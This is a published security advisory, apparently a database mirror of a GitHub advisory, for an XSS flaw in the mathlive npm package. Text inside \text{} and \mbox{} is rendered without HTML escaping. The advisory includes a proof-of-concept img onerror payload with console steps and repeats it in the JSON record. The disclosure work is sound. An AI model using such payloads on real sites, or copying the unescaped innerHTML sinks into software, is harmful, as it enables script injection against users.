GHSA-FM7P-GW32-828P

Vulnerability from github – Published: 2026-07-29 17:21 – Updated: 2026-07-29 17:21
VLAI
Summary
mathlive's Lack of Escaping of HTML allows for XSS
Details

Summary

Despite the 0.104.0 patch escaping attribute-bearing constructs (\htmlData, \href), text-content reflection was missed. The \text{}, \mbox{} commands accept arbitrary characters in their body and emit them raw and unescaped into both the HTML markup and the MathML output, leading to XSS.

Details

Box.toMarkup at src/core/box.ts:356 concatenates this.value into the rendered span without HTML-escaping. In text mode any literal character (<, >, &, ") is wrapped into a TextAtom whose value is the raw codepoint and lands in the markup unchanged. The MathML serializer at src/formats/atom-to-math-ml.ts is independently broken: xmlEscape deliberately omits the & rule, and scanText, case 'text', and the mode === 'text' early return all emit atom.value raw.

Both outputs flow into innerHTML sinks via the public API. <math-span> / <math-div> (src/public/math-static-elements.ts:331,407) bypass MathfieldElement.createHTML entirely. The editor and SSR paths route through createHTML, but its default value is the identity function (src/public/mathfield-element.ts:789).

PoC

  1. Go to https://mathlive.io/mathfield/demo/
  2. open DevTools console and paste:
const s = document.createElement('math-span');
s.style.display = 'block';
s.textContent = '\\text{<img src=x onerror=alert(1)>}';
document.body.appendChild(s);
s.scrollIntoView();

Equivalent payloads: \mbox{<img src=x onerror=alert(1)>}

or

import { convertLatexToMarkup } from 'mathlive';
document.body.innerHTML = convertLatexToMarkup('\\text{<img src=x onerror=alert(1)>}');

Impact

MathLive users who render untrusted mathematical expressions can encounter malicious input that runs arbitrary JavaScript.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.109.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mathlive"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.110.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T17:21:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nDespite the 0.104.0 patch escaping attribute-bearing constructs (`\\htmlData`, `\\href`), text-content reflection was missed. The `\\text{}`, `\\mbox{}` commands accept arbitrary characters in their body and emit them raw and unescaped into both the HTML markup and the MathML output, leading to XSS.\n\n### Details\n\n`Box.toMarkup` at `src/core/box.ts:356` concatenates `this.value` into the rendered span without HTML-escaping. In text mode any literal character (`\u003c`, `\u003e`, `\u0026`, `\"`) is wrapped into a `TextAtom` whose `value` is the raw codepoint and lands in the markup unchanged. The MathML serializer at `src/formats/atom-to-math-ml.ts` is independently broken: `xmlEscape` deliberately omits the `\u0026` rule, and `scanText`, `case \u0027text\u0027`, and the `mode === \u0027text\u0027` early return all emit `atom.value` raw.\n\nBoth outputs flow into `innerHTML` sinks via the public API. `\u003cmath-span\u003e` / `\u003cmath-div\u003e` (`src/public/math-static-elements.ts:331,407`) bypass `MathfieldElement.createHTML` entirely. The editor and SSR paths route through `createHTML`, but its default value is the identity function (`src/public/mathfield-element.ts:789`).\n\n### PoC\n\n1. Go to https://mathlive.io/mathfield/demo/\n2. open DevTools console and paste:\n\n```js\nconst s = document.createElement(\u0027math-span\u0027);\ns.style.display = \u0027block\u0027;\ns.textContent = \u0027\\\\text{\u003cimg src=x onerror=alert(1)\u003e}\u0027;\ndocument.body.appendChild(s);\ns.scrollIntoView();\n```\n\nEquivalent payloads: `\\mbox{\u003cimg src=x onerror=alert(1)\u003e}`\n\nor\n\n```js\nimport { convertLatexToMarkup } from \u0027mathlive\u0027;\ndocument.body.innerHTML = convertLatexToMarkup(\u0027\\\\text{\u003cimg src=x onerror=alert(1)\u003e}\u0027);\n```\n\n### Impact\n\nMathLive users who render untrusted mathematical expressions can encounter malicious input that runs arbitrary JavaScript.",
  "id": "GHSA-fm7p-gw32-828p",
  "modified": "2026-07-29T17:21:26Z",
  "published": "2026-07-29T17:21:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/arnog/mathlive/security/advisories/GHSA-fm7p-gw32-828p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arnog/mathlive/issues/3028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arnog/mathlive/commit/5fe1c46153883f9ec0249a5c8c34e64aaae9cfb8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arnog/mathlive"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mathlive\u0027s Lack of Escaping of HTML allows for XSS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…